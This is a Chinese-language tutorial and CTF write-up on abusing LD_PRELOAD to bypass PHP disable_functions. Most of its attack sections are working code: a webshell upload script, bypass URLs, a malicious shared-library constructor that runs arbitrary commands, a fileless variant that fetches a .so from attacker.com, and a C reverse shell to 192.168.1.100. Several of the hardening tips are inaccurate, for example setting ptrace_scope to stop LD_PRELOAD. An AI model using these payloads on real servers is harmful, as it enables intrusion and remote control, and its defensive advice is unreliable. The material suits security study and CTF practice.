LD_PRELOAD 技术实战:从原理到 PHP disable_functions 绕过
1. 动态链接与 LD_PRELOAD 机制解析
在 Linux 系统中,动态链接器负责在程序运行时加载所需的共享库。当程序调用某个函数时,系统会按照特定顺序搜索这些库以找到对应的函数实现。LD_PRELOAD 环境变量允许我们在其他库之前加载自定义的共享库,从而实现对系统函数的"覆盖"。
动态链接库加载的典型优先级顺序为:
- LD_PRELOAD 指定的库
- LD_LIBRARY_PATH 指定的目录中的库
- /etc/ld.so.cache 中缓存的库
- 默认系统库路径(/lib、/usr/lib等)
这种机制最初设计用于调试和性能优化,但安全研究人员很快发现它可以用于更广泛的场景。例如:
// 示例:简单的 LD_PRELOAD 劫持 #include <stdio.h> #include <unistd.h> uid_t getuid(void) { printf("Hooked getuid() called!\n"); return 0; }编译为共享库后,通过LD_PRELOAD=./hack.so program运行,任何调用 getuid() 的程序都会执行我们的自定义版本。
2. PHP disable_functions 限制与突破思路
PHP 的 disable_functions 配置项用于禁用可能危险的函数,常见被禁用的包括:
system(),exec(),shell_exec()等命令执行函数passthru(),proc_open(),pcntl_exec()等进程控制函数dl()等动态加载函数
当这些函数被禁用时,传统的命令执行方法失效。但 LD_PRELOAD 提供了一种间接执行系统命令的途径:
- 找到一个仍可用的 PHP 函数,它能启动外部进程
- 通过该函数触发 LD_PRELOAD 加载我们的恶意库
- 在库的初始化代码中执行任意命令
常见的可用函数包括:
mail():内部会调用 /usr/sbin/sendmailimap_open():可能调用外部处理程序error_log():与 mail() 类似
3. 实战:l33t-hoster CTF 题解
3.1 环境侦察与初始访问
首先通过文件上传漏洞获取 webshell 访问权限。使用蚁剑连接后发现关键限制:
// 模拟的 disable_functions 配置 disable_functions = "system,exec,shell_exec,passthru,proc_open,pcntl_exec,dl"尝试直接读取/flag失败,发现需要通过执行/get_flag程序获取 flag。
3.2 准备 bypass_disablefunc 工具
使用现成的 bypass_disablefunc 工具包,主要包含:
bypass_disablefunc.php:Web 接口bypass_disablefunc_x64.so:恶意共享库(64位)
文件上传方法(Python示例):
import requests url = "http://target/upload.php" files = { 'file': ('bypass_disablefunc.php', open('bypass_disablefunc.php', 'rb')) } data = { 'action': 'move_uploaded_file($_FILES["file"]["tmp_name"], "/var/www/html/bypass.php")' } r = requests.post(url, files=files, data=data) print(r.text)3.3 绕过执行限制
上传成功后,通过以下方式调用:
/bypass.php?cmd=/get_flag&outpath=/tmp/output&sopath=/var/www/html/bypass_disablefunc_x64.so参数说明:
cmd:要执行的命令outpath:命令输出保存路径sopath:恶意 so 文件路径
3.4 处理交互式挑战
发现/get_flag需要解答 CAPTCHA,使用 Perl 脚本处理:
#!/usr/bin/perl use IPC::Open2; $| = 1; my $pid = open2(\*OUT, \*IN, '/get_flag'); my $question = <OUT>; my $answer = eval($question); print IN "$answer\n"; print <OUT>;上传并最终执行:
/bypass.php?cmd=perl+/var/www/html/solve.pl&outpath=/tmp/out&sopath=/var/www/html/bypass_disablefunc_x64.so4. 技术原理深度分析
4.1 bypass_disablefunc 工作流程
- PHP 脚本设置
EVIL_CMDLINE环境变量包含要执行的命令 - 设置
LD_PRELOAD指向恶意 so 文件 - 调用
mail()触发 sendmail 进程启动 - sendmail 加载我们的 so 文件,执行构造函数代码
关键 so 文件代码:
__attribute__ ((__constructor__)) void preload() { unsetenv("LD_PRELOAD"); system(getenv("EVIL_CMDLINE")); }4.2 为什么 mail() 能触发
strace跟踪显示 mail() 的执行路径:
execve("/usr/bin/php", ["php", "test.php"], 0x7ffd689f9f80 /* 23 vars */) ... execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], 0x55a9b4c622e0 /* 23 vars */)正是这个 execve() 调用使得 LD_PRELOAD 生效。
5. 防御与检测方案
5.1 系统级防护
限制危险环境变量:
# /etc/sudoers 示例 Defaults env_reset Defaults env_keep -= "LD_PRELOAD"使用内核安全模块:
# 防止非特权用户使用 LD_PRELOAD sysctl -w kernel.yama.ptrace_scope=2文件系统防护:
# 限制 Web 目录执行权限 chattr +i /var/www/html/uploads/
5.2 PHP 配置加固
禁用危险函数:
disable_functions = "putenv,mail,error_log,imap_open,dl"限制 PHP 执行权限:
open_basedir = "/var/www/html:/tmp"使用 PHP-FPM 池隔离:
; php-fpm.conf [www] listen.owner = www-data listen.group = www-data listen.mode = 0660
6. 高级技巧与变种
6.1 无文件攻击技术
通过内存加载 so 文件避免上传:
$so_content = file_get_contents("http://attacker.com/malicious.so"); file_put_contents("/proc/self/fd/3", $so_content); putenv("LD_PRELOAD=/proc/self/fd/3"); mail("","","","");6.2 替代触发函数
当 mail() 被禁用时,可尝试:
// 方法1:使用 error_log putenv("LD_PRELOAD=./evil.so"); error_log("", 1, ""); // 方法2:使用 ImageMagick putenv("LD_PRELOAD=./evil.so"); new Imagick('input.jpg');6.3 隐蔽通信技术
在 so 文件中实现反向 shell:
void _init() { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(443), .sin_addr.s_addr = inet_addr("192.168.1.100") }; connect(sock, (struct sockaddr*)&addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/sh", NULL, NULL); }7. 总结与思考
LD_PRELOAD 技术展示了 Linux 动态链接系统的灵活性,也暴露了安全边界的重要性。防御这类攻击需要多层防护:
- 最小权限原则:Web 用户应具有尽可能少的权限
- 深度防御:结合系统加固、应用配置和安全监控
- 及时更新:修复已知漏洞,减少攻击面
对于 CTF 选手和安全研究人员,理解这些底层机制不仅能解决比赛挑战,更能深入理解系统安全原理。建议进一步研究:
- ELF 文件格式与动态链接过程
- Linux 进程创建与权限模型
- 现代 Web 应用沙箱技术